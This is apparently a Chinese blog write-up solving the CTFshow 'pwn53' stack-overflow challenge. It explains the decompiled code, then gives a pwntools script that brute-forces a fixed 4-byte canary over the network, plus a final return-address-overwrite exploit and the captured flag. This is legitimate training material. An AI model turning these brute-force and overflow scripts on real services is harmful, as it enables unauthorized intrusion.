pwn53

checksec

[*] 'C:\\Users\\26597\\Desktop\\pwn53'
   Arch:       i386-32-little
   RELRO:      Partial RELRO
   Stack:      No canary found
   NX:         NX enabled
   PIE:        No PIE (0x8048000)
   Stripped:   No

32位小端序

本地运行以下先看看

ctfshow@ubuntu:~/Desktop/xd$ ./pwn53
   ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                          
 ██▀▀▀▀█  ▀▀▀██▀▀▀  ██▀▀▀▀▀▀            ██                          
██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██
██           ██     ███████   ██▄▄▄▄ ▀  ██▀   ██  ██▀  ▀██ ▀█  ██  █▀
██▄          ██     ██         ▀▀▀▀██▄  ██    ██  ██    ██  ██▄██▄██
 ██▄▄▄▄█     ██     ██        █▄▄▄▄▄██  ██    ██  ▀██▄▄██▀  ▀██  ██▀
   ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀  
   * *************************************                          
   * Classify: CTFshow --- PWN --- 入门                              
   * Type : Stack_Overflow                                          
   * Site : https://ctf.show/                                      
   * Hint : Do you know how Canary works?                          
   * *************************************                          
/canary.txt: No such file or directory.

报错了,运行不下去

main函数的运行逻辑在过完logo函数进入canary函数后就结束了

canary函数:

int canary()
{
 FILE *stream; // [esp+Ch] [ebp-Ch]

 stream = fopen("/canary.txt", "r");
 if ( !stream )
{
   puts("/canary.txt: No such file or directory.");
   exit(0);
}
 fread(&global_canary, 1u, 4u, stream);
 return fclose(stream);
}

这个函数的作用是从一个名为 /canary.txt 的文件中读取一个值,并将其存储到全局变量 global_canary 中。以下是函数的详细逻辑分析:

1. 函数声明

int canary()
  • 这是一个无参数的函数,返回值为 int 类型。

2. 局部变量声明

FILE *stream;
  • 声明了一个指向 FILE 类型的指针 stream,用于后续的文件操作。

3. 打开文件

stream = fopen("/canary.txt", "r");
  • 使用 fopen 函数尝试以只读模式("r")打开文件 /canary.txt
  • 如果文件打开成功,stream 将指向该文件的文件流;如果失败,stream 将为 NULL

4. 检查文件是否打开成功

if (!stream)
{
   puts("/canary.txt: No such file or directory.");
   exit(0);
}
  • 如果 streamNULL,说明文件打开失败。
  • 输出错误信息:/canary.txt: No such file or directory.
  • 调用 exit(0) 终止程序运行。

5. 读取文件内容

fread(&global_canary, 1u, 4u, stream);
  • 使用 fread 函数从文件流 stream 中读取数据。
  • 参数解释:
    • &global_canary:目标地址,将读取的数据存储到全局变量 global_canary 中。
    • 1u:每个数据块的大小为 1 字节。
    • 4u:读取 4 个数据块,即总共读取 4 字节。
    • stream:文件流指针。
  • 这里假设 global_canary 是一个 4 字节的变量(例如 intuint32_t 类型),函数会从文件中读取 4 字节的数据并存储到 global_canary 中。

6. 关闭文件

return fclose(stream);
  • 使用 fclose 函数关闭文件流 stream
  • fclose 的返回值为 int 类型:
    • 如果成功关闭文件,返回 0。
    • 如果关闭失败,返回非零值。
  • 函数返回 fclose 的结果。

函数总结

  1. 功能:从文件 /canary.txt 中读取 4 字节的数据,并将其存储到全局变量 global_canary 中。
  2. 输入:无参数,但依赖于文件 /canary.txt
  3. 输出
    • 如果文件不存在,输出错误信息并退出程序。
    • 如果文件存在,读取数据并关闭文件,返回 fclose 的结果。

这时候返回来看本地运行的结果,直接返回报错信息的原因应该是本地不存在canary.txt这个文件

所以这次打远程是不会出现这样的报错的

正常nc

C:\Users\26597>nc pwn.challenge.ctf.show 28283
   ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄
 ██▀▀▀▀█  ▀▀▀██▀▀▀  ██▀▀▀▀▀▀            ██
██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██
██           ██     ███████   ██▄▄▄▄ ▀  ██▀   ██  ██▀  ▀██ ▀█  ██  █▀
██▄          ██     ██         ▀▀▀▀██▄  ██    ██  ██    ██  ██▄██▄██
 ██▄▄▄▄█     ██     ██        █▄▄▄▄▄██  ██    ██  ▀██▄▄██▀  ▀██  ██▀
   ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀
   * *************************************
   * Classify: CTFshow --- PWN --- 入门
   * Type : Stack_Overflow
   * Site : https://ctf.show/
   * Hint : Do you know how Canary works?
   * *************************************
How many bytes do you want to write to the buffer?

果然报错信息不一样

所以canary函数本身只是检查canary.txt是否存在的

并不需要在意

按照main函数逻辑

canary函数执行后就是ctfshow函数

ctfshow函数代码:

int ctfshow()
{
 size_t nbytes; // [esp+4h] [ebp-54h] BYREF
 _BYTE v2[32]; // [esp+8h] [ebp-50h] BYREF
 _BYTE buf[32]; // [esp+28h] [ebp-30h] BYREF
 int s1; // [esp+48h] [ebp-10h] BYREF
 int v5; // [esp+4Ch] [ebp-Ch]

 v5 = 0;
 s1 = global_canary;
 printf("How many bytes do you want to write to the buffer?\n>");
 while ( v5 <= 31 )
{
   read(0, &v2[v5], 1u);
   if ( v2[v5] == 10 )
     break;
   ++v5;
}
 __isoc99_sscanf(v2, "%d", &nbytes);
 printf("$ ");
 read(0, buf, nbytes);
 if ( memcmp(&s1, &global_canary, 4u) )
{
   puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!");
   exit(-1);
}
 puts("Where is the flag?");
 return fflush(stdout);
}

这段代码实现了一个简单的用户交互程序,其主要功能是从用户输入中读取数据并写入缓冲区,同时通过“金丝雀值”(canary value)检测是否存在堆栈溢出攻击。以下是代码的详细逻辑分析:


1. 函数声明

int ctfshow()
  • 这是一个无参数的函数,返回值为 int 类型。

2. 局部变量声明

size_t nbytes; // 用于存储用户输入的字节数
_BYTE v2[32];  // 用于存储用户输入的数字字符串(最多32字节)
_BYTE buf[32]; // 用于存储用户输入的最终数据(最多32字节)
int s1;        // 用于存储全局金丝雀值的副本
int v5;        // 用于循环控制

3. 初始化变量

v5 = 0;
s1 = global_canary;
  • v5 初始化为 0,用于后续循环控制。
  • s1 被初始化为全局变量 global_canary 的值,这是一个“金丝雀值”,用于检测堆栈溢出。

4. 提示用户输入字节数

printf("How many bytes do you want to write to the buffer?\n>");
  • 程序提示用户输入要写入缓冲区的字节数。“

5. 读取用户输入的数字字符串

while (v5 <= 31)
{
   read(0, &v2[v5], 1u); // 从标准输入读取一个字节
   if (v2[v5] == 10) // 如果是换行符(回车),结束输入
       break;
   ++v5;
}
__isoc99_sscanf(v2, "%d", &nbytes); // 将输入的字符串转换为整数
  • 使用 read 函数逐字节读取用户输入,直到遇到换行符(\n)。
  • 最多读取32字节,存储到 v2 数组中。
  • 使用 __isoc99_sscanf 将输入的字符串解析为整数,存储到 nbytes 中。

6. 提示用户输入数据

printf("$ ");
  • 程序提示用户输入实际要写入缓冲区的数据。

7. 读取用户输入的数据

read(0, buf, nbytes);
  • 使用 read 函数从标准输入读取 nbytes 字节的数据,并存储到 buf 数组中。

8. 检测堆栈溢出

if (memcmp(&s1, &global_canary, 4u))
{
   puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!");
   exit(-1);
}
  • 使用 memcmp 比较 s1global_canary 的值。
  • 如果它们不相等,说明堆栈可能被破坏(例如,由于缓冲区溢出攻击),程序会输出错误信息并退出。

9. 输出提示信息

puts("Where is the flag?");
return fflush(stdout);
  • 输出提示信息:“Where is the flag?”。
  • 使用 fflush(stdout) 清空标准输出缓冲区,确保所有内容都被输出。
  1. 功能:程序要求用户输入要写入缓冲区的字节数,然后读取相应数量的数据到缓冲区。同时,通过“金丝雀值”检测堆栈是否被破坏。
  2. 安全机制
    • 使用金丝雀值(global_canary)检测堆栈溢出。
    • 如果用户输入的字节数超过缓冲区大小(32字节),可能会导致缓冲区溢出,但金丝雀值会检测到这种异常。

至此基本上就能写exp了

首要目的是先爆破出carnary的值

carnary的值是4字节

而一字节有8位

所有字节有2^8=256种可能

所以通过嵌套循环就可以进行爆破

拷打ai:

from pwn import *
import sys

host = 'pwn.challenge.ctf.show'
port = 28242

canary = b''


def brute_canary():
   global canary
   for i in range(4):
       for guess in range(256):
           io = remote(host, port)
           payload = b'A' * 32  # 填充 buf 数组
           payload += canary  # 已知的 canary 部分
           payload += p8(guess)  # 当前猜测的字节

           try:
               io.sendlineafter(b'>', b'100')
               io.sendafter(b'$ ', payload)
               response = io.recvline(timeout=2)
               io.close()
               if b'Canary Value Incorrect!' not in response:
                   canary += p8(guess)
                   print(
                       f"[+] Found byte {i + 1}: {hex(guess)} (ASCII: {chr(guess) if guess > 0x1f else chr(guess + 0x37)} )")
                   break
           except EOFError:
               io.close()
               continue


if __name__ == "__main__":
   brute_canary()
   print(f"\n[+] Global Canary (HEX): {canary.hex()}")
   print(f"[+] Global Canary (ASCII): {canary.decode('latin-1', errors='replace')}")

最终结果:

[+] Global Canary (HEX): 33364421
[+] Global Canary (ASCII): 36D!

根据这个canary值编写最终的exp:

from pwn import *
sh = remote("pwn.challenge.ctf.show", 28242)
bin_sh = 0x08048696
canary = b'\x33\x36\x44\x21'
payload = b'a'*(0x20) + canary + b'a'*(0x10) + p32(bin_sh)
#payload = b'a'*(0x20) + canary + p32(0x0)*4 + p32(bin_sh)
sh.sendline("1000")
sh.send(payload)
sh.interactive()

payload有两个需要注意的地方

1.因为用户输入的字节数一旦超过缓冲区大小(32字节),会导致缓冲区溢出,金丝雀值会检测到这种异常

所以payload中第一次填充数据只填入了0x20,而不是直接填入buf到栈底的长度0x30

然后接上爆破得出的canary值

再将到栈底的地址给覆盖掉,而剩下需要填入的数据就是0x30-0x20的部分

(另外一种payload也是一样的,本质上都是填充实际为16字节的东西进去覆盖掉到栈底的所有地址)

2.因为有两次输入

所以需要先sendline

这里sendline的意义是自定义一个下一次read的长度(详见4,5)

这样就能拿到flag

[x] Opening connection to pwn.challenge.ctf.show on port 28198
[x] Opening connection to pwn.challenge.ctf.show on port 28198: Trying 124.223.158.81
D:\python\pythonProject\pwn53.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
 sh.sendline("1000")
[+] Opening connection to pwn.challenge.ctf.show on port 28198: Done
[*] Switching to interactive mode
   ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                          
 ██▀▀▀▀█  ▀▀▀██▀▀▀  ██▀▀▀▀▀▀            ██                          
██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██
██           ██     ███████   ██▄▄▄▄ ▀  ██▀   ██  ██▀  ▀██ ▀█  ██  █▀
██▄          ██     ██         ▀▀▀▀██▄  ██    ██  ██    ██  ██▄██▄██
 ██▄▄▄▄█     ██     ██        █▄▄▄▄▄██  ██    ██  ▀██▄▄██▀  ▀██  ██▀
   ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀  

* *************************************

  * Classify: CTFshow --- PWN --- 入门                              
    * Type : Stack_Overflow                                          
      * Site : https://ctf.show/                                      
      * Hint : Do you know how Canary works?                          

* *************************************

How many bytes do you want to write to the buffer?

$ Where is the flag?
ctfshow{df00b40b-c8dd-4822-aed7-20b94cbee460}

(不会C不会python不会pwn的菜只能一点点把全部细节贴出来)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇